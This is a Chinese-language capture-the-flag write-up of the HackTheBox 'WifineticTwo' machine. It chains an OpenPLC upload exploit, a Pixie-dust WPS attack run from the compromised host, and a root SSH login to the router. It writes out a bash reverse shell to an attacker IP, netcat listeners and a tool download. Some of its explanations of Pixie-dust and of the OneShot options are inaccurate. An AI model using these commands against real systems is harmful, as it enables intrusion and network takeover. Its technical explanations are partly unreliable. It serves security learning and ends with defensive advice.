从WPS漏洞到内网渗透:Pixie-dust攻击实战与防御解析
1. 项目概述:一次针对WPS漏洞的实战渗透
如果你对无线安全感兴趣,或者正在学习渗透测试,那么“Pixie-dust attack”这个名词你一定不陌生。这是一种针对Wi-Fi保护设置(WPS)协议的经典离线攻击手法,能够绕过常规的在线暴力破解,直接利用路由器芯片在生成随机数(nonce)时的缺陷,离线计算出WPS PIN,进而推导出Wi-Fi密码。这次,我们结合HackTheBox(HTB)平台上的“WifineticTwo”靶机,来一次从理论到实战的完整复现。这不仅仅是一次CTF解题,更是一次对真实世界无线网络脆弱性的深度探索。整个过程涉及Web应用漏洞利用、无线网络攻击、系统服务配置等多个层面,非常适合想要提升综合渗透能力的朋友。
简单来说,我们的目标是:首先,通过靶机暴露的Web服务(OpenPLC)漏洞获取一个初始立足点(Shell);然后,在目标系统内部,利用其无线网卡,对目标Wi-Fi网络发起Pixie-dust攻击,获取WPA预共享密钥(PSK);最后,使用获得的密钥连接到目标Wi-Fi网络,并进一步渗透到路由器管理后台,最终拿到最高权限。整个过程环环相扣,每一步都充满了技术细节和“踩坑”的可能。接下来,我将带你一步步拆解,不仅告诉你“怎么做”,更会深入解释“为什么这么做”,并分享我在复现过程中遇到的各种问题及解决方案。
2. 核心攻击链与思路拆解
2.1 攻击路径全景图
面对“WifineticTwo”这样的靶机,我们不能盲目操作。首先需要理清整体的攻击脉络。靶机通常模拟一个复杂的网络环境,我们的入口往往是一个暴露在公网的服务。根据提供的资料,靶机IP为10.10.11.7,开放了8080和22端口。8080端口运行着OpenPLC,这是一个工业控制系统(ICS)的Web界面,而22端口是SSH,通常是我们最终要攻破或利用的通道。
攻击链可以清晰地分为三个阶段:
- 初始访问:利用OpenPLC的已知漏洞(CVE-2021-31630)获取一个反向Shell,从而在目标服务器上执行命令。
- 内部横向移动与信息收集:获得Shell后,我们需要在目标系统内部进行侦察。关键目标是确认系统是否配备了无线网卡(
wlan0接口),并探测周围可用的Wi-Fi网络,特别是开启了WPS功能的目标网络。 - 权限提升与最终目标:利用目标系统上的无线网卡,对探测到的目标Wi-Fi发起Pixie-dust攻击,离线破解出WPS PIN和WPA PSK。使用PSK连接到该Wi-Fi网络后,我们便进入了目标的内网环境。通常,路由器的管理界面位于
192.168.1.1或192.168.0.1这类私有地址。尝试使用默认或弱口令(或利用其他漏洞)登录路由器管理后台,最终获取root.txt标志文件。
这个攻击链的精妙之处在于,它巧妙地利用了目标系统本身的硬件(无线网卡)作为攻击跳板,实现了从外网到内网,再到核心网络设备的纵深渗透。
2.2 为什么选择Pixie-dust攻击?
在无线攻击中,获取Wi-Fi密码的方法有很多,比如捕获握手包后离线暴力破解(使用hashcat或aircrack-ng),或者针对WPA3的降级攻击等。那么,为什么在这个场景下,Pixie-dust攻击是更优甚至唯一可行的选择?
核心原因在于离线性和确定性。传统的WPA/WPA2 PSK暴力破解,需要先捕获到客户端与AP(接入点,即路由器)的完整四次握手包。即使抓到了包,破解速度也完全取决于密码字典的强度和计算资源,面对一个复杂的密码可能耗时极长,甚至不可行。
而Pixie-dust攻击针对的是WPS协议。WPS本意是让用户通过按一下路由器上的按钮或输入一个8位数的PIN码来简化连接。问题出在,这个8位PIN码的验证过程中,AP(路由器)需要向客户端(比如我们的攻击工具)发送两个随机数(E-S1和E-S2)。在一些路由器的实现中,这些随机数(nonce)并非真正的“随机”,而是由伪随机数生成器(PRNG)产生的,且熵(随机性)不足。攻击者通过监听或触发WPS交换过程,可以获取到这些随机数。
一旦获取了E-S1和E-S2,结合其他一些在交换中可获取的公开数据(如AP的MAC地址、客户端的MAC地址等),攻击就可以在完全离线的环境下,尝试所有可能的1万种PIN码(0000-9999,实际上因为校验位规则,有效尝试更少),并验证哪个PIN码能生成匹配的E-S1/E-S2。由于计算量很小,这个过程在普通电脑上瞬间即可完成。破解出PIN码后,就可以直接推导出WPA PSK,无需任何在线猜测。
因此,在目标Wi-Fi开启了WPS功能的前提下,Pixie-dust攻击的成功率极高,且速度极快。这正是我们在此次渗透中选择它的根本原因。当然,它的前提条件是目标AP的WPS功能必须开启,且其芯片的随机数生成存在漏洞。幸运的是,历史上大量路由器都受此影响。
3. 环境准备与工具解析
3.1 攻击机环境搭建
工欲善其事,必先利其器。我们首先需要在自己的攻击机上准备好所有工具。推荐使用Kali Linux或Parrot OS这类渗透测试专用系统,它们已经预装了大部分所需工具。
核心工具清单:
- Python3 & Requests库:用于运行针对OpenPLC的漏洞利用脚本。
- Netcat (nc):用于监听反向Shell连接。
- OneShot:这是我们的主角,一个用C语言编写的、专门用于实施Pixie-dust攻击的工具。它集成了探测、攻击、计算于一体,非常高效。我们需要从GitHub克隆并编译它。
- Curl / Wget:用于在靶机Shell中下载工具。
- SSH客户端:用于最终连接路由器。
OneShot的编译与准备:OneShot的源代码托管在GitHub。我们需要先将其下载到攻击机,并进行交叉编译(因为靶机可能是不同架构),或者直接编译成可在靶机上运行的二进制文件。通常靶机是x86或x86_64架构的Linux,所以我们可以在攻击机上直接编译。
# 在攻击机上操作 git clone https://github.com/nikita-yfh/OneShot-C.git cd OneShot-C make编译成功后,会生成一个名为oneshot的二进制文件。我们需要将这个文件传输到获得Shell的靶机上。在实战中,靶机可能没有wget,但通常有curl。我们可以在攻击机上启动一个简单的HTTP服务来提供下载。
# 在攻击机上的oneshot所在目录启动HTTP服务 python3 -m http.server 8080这样,在靶机的Shell中,就可以使用curl -O http://<攻击机IP>:8080/oneshot来下载文件了。
3.2 靶机信息初步探测
在真正开始攻击前,我们需要对靶机有一个基本的了解。使用Nmap进行端口扫描是第一步:
nmap -sV -sC 10.10.11.7扫描结果会确认8080端口运行着HTTP服务,很可能就是OpenPLC的Web界面。22端口是SSH服务。我们可以先访问http://10.10.11.7:8080,看看是否能直接看到OpenPLC的登录页面。根据资料,其默认凭证是openplc:openplc,这是一个非常重要的信息点。
同时,我们也应该关注靶机可能存在的其他服务或信息泄露,但根据题目描述,核心突破口就是OpenPLC。因此,我们的第一步就是利用其漏洞获取Shell。
4. 第一阶段:利用OpenPLC漏洞获取初始Shell
4.1 漏洞原理浅析(CVE-2021-31630)
OpenPLC是一个开源的PLC运行时和编辑器。CVE-2021-31630是一个文件上传漏洞,存在于其“硬件层”配置功能中。攻击者可以通过上传特制的“硬件层”文件(本质上是C代码),诱使OpenPLC在编译和运行时执行其中的恶意代码。
简单来说,OpenPLC允许用户上传自定义的硬件驱动代码。这部分代码会被编译并链接到PLC运行时中。如果攻击者上传的代码包含了系统命令执行(如通过system()或exec()家族函数)或反向Shell的代码,那么当PLC程序启动时,这段恶意代码就会以OpenPLC进程的权限(通常是root或高权限用户)执行。
提供的漏洞利用脚本(exploit.py)正是利用了这一点。它首先使用默认凭证登录OpenPLC,然后构造一个特殊的HTTP POST请求,上传一个恶意的“硬件层”C代码文件。这个C代码的功能是创建一个反向TCP连接,连接到攻击者指定的IP和端口。
4.2 漏洞利用实操与细节
让我们一步步拆解利用过程:
步骤1:准备监听器在攻击机上,我们需要先开启一个Netcat监听器,等待靶机反向连接。
nc -lvnp 12345这里使用-l监听,-v详细输出,-n不解析域名,-p指定端口12345。
步骤2:运行漏洞利用脚本将提供的exploit.py脚本保存到攻击机。仔细阅读脚本,它需要几个参数:
-ip: 攻击机的IP地址(即运行Netcat监听器的IP)。-p: 攻击机监听的端口。-u: OpenPLC的用户名(默认为openplc)。-pwd: OpenPLC的密码(默认为openplc)。
运行命令如下:
python3 exploit.py -ip 10.10.16.2 -p 12345 -u openplc -pwd openplc请将10.10.16.2替换为你攻击机的真实IP(在HTB环境中,通常是你的Tun0接口IP)。
步骤3:理解脚本执行流程
- 登录:脚本会向
http://10.10.11.7:8080/login发送POST请求,使用提供的凭证进行登录。 - 上传恶意硬件层:登录成功后,脚本会向
/hardware端点发送一个复杂的multipart/form-data请求。这个请求的body中包含了一段恶意的C代码(即uploadRQ变量)。这段代码的核心是updateCustomOut()函数,它使用socket、connect、dup2和execvp系统调用,建立一个到攻击机的TCP连接,并将标准输入、输出、错误都重定向到这个socket,最后启动一个bashshell。这就构成了一个完整的反向Shell。 - 触发编译与执行:上传后,脚本会模拟用户点击“编译”和“启动PLC”的操作,通过访问
/compile-program和/start_plc等端点,触发OpenPLC编译并运行刚刚上传的恶意代码。 - 等待连接:一旦PLC运行时加载并执行了恶意代码,反向Shell就会建立。此时,你的Netcat监听器会接收到连接,并获得一个在靶机上运行的Shell。
注意事项与踩坑点:
- 网络连通性:确保你的攻击机(VPN IP)与靶机(
10.10.11.7)是直接连通的。在HTB中,你需要先连接到他们的VPN。- 防火墙与杀软:真实环境中,靶机可能有防火墙阻止出站连接,或者有安全软件拦截可疑进程。但在CTF环境中,通常不会设置这些障碍。
- 脚本依赖:确保攻击机安装了Python3和
requests库。如果没有,使用pip3 install requests安装。- 监听端口冲突:确保你选择的监听端口(如12345)没有被其他程序占用。
- Shell稳定性:获得的这个反向Shell可能不太稳定(例如,没有完整的TTY)。为了进行后续复杂的操作(如运行
oneshot),我们通常需要将其升级为一个更稳定的Shell。可以使用以下命令:或者# 在获得的初始Shell中执行 python3 -c 'import pty; pty.spawn("/bin/bash")'然后按script /dev/null -c bashCtrl+Z挂起,在攻击机终端输入stty raw -echo; fg,最后在Shell中输入export TERM=xterm。
成功获得Shell后,我们就完成了至关重要的第一步,在目标系统内部建立了据点。
5. 第二阶段:内部侦察与无线环境探测
5.1 系统信息枚举
拿到Shell后,第一件事就是了解我们所在的环境。执行一些基本命令:
whoami id uname -a cat /etc/os-release这些命令告诉我们当前用户是谁、有什么权限、系统内核版本和发行版信息。根据资料,我们直接拿到了Shell,但需要确认权限。在CTF中,初始Shell可能是低权限用户,但OpenPLC漏洞有时能直接获取root权限。如果是普通用户,我们可能还需要进行本地提权,但在此次任务中,后续操作似乎不需要太高权限(运行oneshot和配置网络连接)。
5.2 确认无线网卡与网络接口
这是关键一步。我们需要确认靶机是否有无线网卡,并且是否处于可用的状态。
ifconfig # 或者使用 ip 命令 ip a在输出中,我们需要寻找类似wlan0、wlp2s0这样的无线网络接口。根据资料,靶机上存在wlan0接口。如果看不到无线接口,可能是驱动未加载或网卡被禁用。可以尝试以下命令:
# 查看所有网络接口(包括未启用的) ip link show # 查看PCI/USB设备,寻找无线网卡 lspci | grep -i network lsusb如果发现了无线网卡但接口未启用,可以尝试使用ip link set wlan0 up来启用它。
5.3 扫描周围的Wi-Fi网络
确认无线接口可用后,我们就可以扫描周围的Wi-Fi网络了。Linux下常用的工具是iwlist或iw。但为了后续攻击,我们直接使用即将用到的oneshot工具进行扫描,因为它能同时识别支持WPS的网络。 首先,我们需要将之前编译好的oneshot二进制文件传输到靶机。在攻击机开启HTTP服务后,在靶机Shell中执行:
# 在靶机Shell中操作 cd /tmp # 通常/tmp目录可写 curl -O http://<攻击机IP>:8080/oneshot chmod +x oneshot赋予执行权限后,运行以下命令进行扫描:
./oneshot -i -K-i参数通常用于交互式模式。-K参数用于列出所有探测到的、支持WPS的Wi-Fi网络(Access Points)。
命令执行后,会输出一个列表,显示附近所有开启WPS的AP信息,包括:
- BSSID:AP的MAC地址,如
AA:BB:CC:DD:EE:FF。 - Channel:工作信道。
- RSSI:信号强度。
- ESSID:Wi-Fi网络名称(SSID)。
- WPS Locked?:WPS是否被锁定(如果显示
No,则攻击成功率更高)。
从列表中选择我们的目标网络。在HTB的“WifineticTwo”场景中,目标网络应该就是我们需要破解的那个。记下它的BSSID和ESSID。
6. 第三阶段:实施Pixie-dust攻击破解WPS PIN
6.1 OneShot攻击命令详解
锁定目标AP后,我们就可以发起Pixie-dust攻击了。使用以下命令:
./oneshot -i wlan0 -b <目标AP的BSSID> -K-i wlan0:指定使用的无线网络接口。-b AA:BB:CC:DD:EE:FF:指定目标AP的BSSID(MAC地址)。-K:执行Pixie-dust攻击。
执行这个命令后,oneshot会做以下几件事:
- 监听与触发:它会将网卡设置为监听模式(monitor mode),监听目标信道,并尝试与目标AP发起WPS交换流程。这个过程可能会发送一系列探测和认证帧。
- 捕获Nonce:在WPS交换过程中,如果目标AP存在漏洞,
oneshot将能够捕获到关键的E-S1和E-S2随机数(nonce)。 - 离线计算:一旦捕获到nonce,
oneshot会立即在本地离线计算所有可能的WPS PIN(0000-9999),并与捕获到的nonce进行验证。由于计算量很小,这个过程通常在一两秒内完成。 - 输出结果:如果成功,
oneshot会直接打印出破解出的WPS PIN和由此推导出的WPA PSK(即Wi-Fi密码)。
这是一个激动人心的时刻。如果攻击成功,你将直接看到明文的Wi-Fi密码。请务必妥善记录下这两个关键信息:ESSID (网络名称)和PSK (密码)。
实操心得与常见问题:
- 网卡兼容性与监听模式:并非所有无线网卡都支持监听模式(Monitor Mode)和数据包注入。在靶机环境中,网卡通常是兼容的。如果在自己的物理机或虚拟机上测试,可能需要特定的外置网卡(如Alfa AWUS036ACH)。
- 信号强度:确保靶机与目标AP之间有较好的信号强度(RSSI值不能太低,最好大于-70dBm)。信号太差可能导致无法完成WPS握手。
- WPS锁定状态:如果AP的WPS功能被临时锁定(通常是因为多次尝试失败),攻击将无法进行。你需要等待锁定解除(可能是几分钟到几小时)。在
oneshot的输出中会显示锁定状态。- 依赖库:
oneshot可能需要一些系统库,如libpcap、openssl。如果靶机缺少,可能需要手动安装。在基于Debian/Ubuntu的系统上可以尝试apt-get install libpcap-dev libssl-dev。
6.2 攻击成功后的关键验证
拿到PSK后,不要急于连接。可以先在攻击机上用这个密码尝试连接一下(如果你攻击机的无线网卡能搜到同一个网络),或者使用aircrack-ng验证一下密码是否正确(如果你之前捕获过该网络的握手包)。但在靶机环境里,我们通常直接进行下一步——配置连接。
7. 第四阶段:连接目标Wi-Fi与内网渗透
7.1 配置wpa_supplicant连接Wi-Fi
现在我们已经在靶机Shell里,并且拥有了目标Wi-Fi的SSID和PSK。接下来需要配置系统连接到这个Wi-Fi网络。在Linux中,管理Wi-Fi连接的一个常用工具是wpa_supplicant。
步骤1:创建wpa_supplicant配置文件我们需要创建一个配置文件,告诉系统如何连接目标网络。
# 在靶机上操作 mkdir -p /etc/wpa_supplicant cat > /etc/wpa_supplicant/wpa_supplicant-wlan0.conf << EOF ctrl_interface=/var/run/wpa_supplicant ctrl_interface_group=0 update_config=1 network={ ssid="你的目标Wi-Fi名称" psk="你刚破解出来的WPA PSK密码" key_mgmt=WPA-PSK proto=WPA2 pairwise=CCMP TKIP group=CCMP TKIP scan_ssid=1 } EOF请务必将ssid和psk的值替换成实际内容。scan_ssid=1对于隐藏网络(不广播SSID)是必要的,即使目标网络不是隐藏的,加上也无妨。
步骤2:配置systemd-networkd(如果系统使用它)现代Linux发行版常使用systemd-networkd来管理网络。我们需要为wlan0接口创建一个网络配置文件。
cat > /etc/systemd/network/25-wlan.network << EOF [Match] Name=wlan0 [Network] DHCP=ipv4 EOF这个配置告诉systemd,对于名为wlan0的接口,使用DHCPv4自动获取IP地址。
步骤3:启用并启动服务现在,启用wpa_supplicant服务专门为wlan0接口服务,并重启网络相关服务。
systemctl enable wpa_supplicant@wlan0.service systemctl restart systemd-networkd.service systemctl restart wpa_supplicant@wlan0.servicesystemctl enable设置服务开机自启。systemctl restart立即重启服务,使配置生效。
步骤4:验证连接等待几秒钟,然后检查wlan0接口是否获得了IP地址。
ip a show wlan0如果看到类似inet 192.168.1.x的地址,说明连接成功,并且已经从目标Wi-Fi网络的DHCP服务器获取到了内网IP地址。你也可以尝试ping一下网关(通常是192.168.1.1)来测试连通性。
ping -c 3 192.168.1.17.2 渗透路由器管理界面
成功接入目标内网后,我们的最终目标——路由器管理界面——就近在咫尺了。家用路由器的管理界面地址通常是192.168.1.1或192.168.0.1。我们可以尝试用SSH连接,因为很多嵌入式设备(如OpenWrt等路由器系统)默认开启了SSH服务,并且使用root用户。
尝试使用SSH连接:
ssh root@192.168.1.1根据资料描述,这里可能会遇到两个错误:
- “Pseudo-terminal will not be allocated because stdin is not a terminal.”:这是因为我们在一个反向Shell中执行SSH命令,这个Shell可能不是完全交互式的。SSH客户端需要分配一个伪终端(PTY),但当前环境不允许。
- 主机密钥验证:首次连接一个SSH服务器时,客户端会询问是否信任该服务器的主机密钥。在非交互式脚本中,这会阻塞进程。
解决方案:对于第一个问题,我们可以通过SSH的-T参数来禁用伪终端分配,但这样我们就无法执行交互式命令了。更好的方法是为当前Shell分配一个完整的PTY(我们之前已经用python pty或script命令做过)。确保你已经在稳定的TTY Shell中操作。 对于第二个问题,使用-o StrictHostKeyChecking=no参数来跳过主机密钥验证。 同时,为了应对可能的其他问题,一个更稳妥的做法是先反弹一个新的、更稳定的Shell到我们的攻击机,然后从这个新的Shell里去连接路由器。
在靶机Shell中反弹一个新Shell:
# 在靶机Shell中,向攻击机(10.10.16.2)的另一个端口(例如4444)反弹一个bash shell bash -c 'bash -i >& /dev/tcp/10.10.16.2/4444 0>&1'在攻击机上用nc -lvnp 4444监听这个新连接。获得这个新Shell后,再尝试SSH连接路由器:
ssh -o StrictHostKeyChecking=no root@192.168.1.1如果路由器SSH服务允许root登录且未设置密码(或密码为空),或者使用了默认密码,那么你将会成功登录到路由器的Shell中。
7.3 获取最终凭证与总结
登录路由器后,最后的任务就是寻找标志文件root.txt。通常它会在/root目录下。
cat /root/root.txt成功读取到文件内容,即标志着整个渗透测试流程的圆满完成。
8. 技术复盘、防御与拓展思考
8.1 攻击链技术要点复盘
回顾整个“WifineticTwo”的渗透过程,它巧妙地串联了多个安全领域的知识点:
- Web应用安全:对OpenPLC的漏洞利用(CVE-2021-31630),属于典型的代码注入/文件上传漏洞。防御方应确保工业控制系统(ICS)软件及时更新,并部署在隔离的网络中。
- 无线网络安全:Pixie-dust攻击是本次的核心。它利用了WPS协议设计缺陷和硬件实现漏洞。最根本的防御措施是在路由器中永久关闭WPS功能。对于普通用户,进入路由器管理后台,在无线设置中找到“WPS”或“一键加密”选项,将其禁用。
- 内网横向移动:利用已控主机作为跳板,攻击内网其他设备(路由器)。这强调了网络分段和最小权限原则的重要性。即使外网服务被攻破,内网核心设备也应受到额外保护(如强密码、密钥认证、网络访问控制列表ACL)。
- 默认凭证与配置:OpenPLC的默认密码
openplc:openplc和路由器可能的空root密码,都是典型的安全隐患。任何系统上线前,必须修改所有默认密码。
8.2 针对Pixie-dust攻击的深入防御
除了关闭WPS,还有其他措施可以增强无线网络安全性:
- 使用WPA3:WPA3协议彻底废除了WPS,并引入了更强大的加密算法(SAE),能够有效抵御离线字典攻击和Pixie-dust攻击。如果设备和路由器支持,应优先启用WPA3。
- 使用强密码:即使WPS关闭,WPA2-PSK的密码强度依然至关重要。密码应足够长(建议20位以上),包含大小写字母、数字和特殊符号,避免使用字典词汇或常见组合。
- 隐藏SSID(网络名称):这虽然不能阻止定向攻击,但可以减少被普通扫描工具发现的机会,增加攻击者的探测成本。
- MAC地址过滤:只允许已知设备的MAC地址接入网络。但这可以被攻击者通过监听流量并伪造MAC地址来绕过,属于一种较弱的防御手段。
8.3 拓展思考与工具变种
Pixie-dust攻击并非只有oneshot一个工具。另一个非常著名的工具是reaver,其早期版本就支持Pixie-dust模式(-K参数)。此外,bully也是一个高效的WPS攻击工具。这些工具的原理大同小异,但在具体实现、兼容性和成功率上可能略有差异。作为安全研究人员,了解多种工具的使用和原理,有助于在特定环境下选择最合适的武器。
最后需要强调的是,本文所述技术仅用于安全研究、学习以及授权下的渗透测试。未经授权对他人网络进行攻击是违法行为。希望通过这次对“htb-WifineticTwo”靶机的深度剖析,你能不仅掌握Pixie-dust攻击的实操,更能理解其背后的安全原理和防御之道,这才是学习的真正价值所在。在实际工作中,永远是“防御”的思维要走在“攻击”的前面。
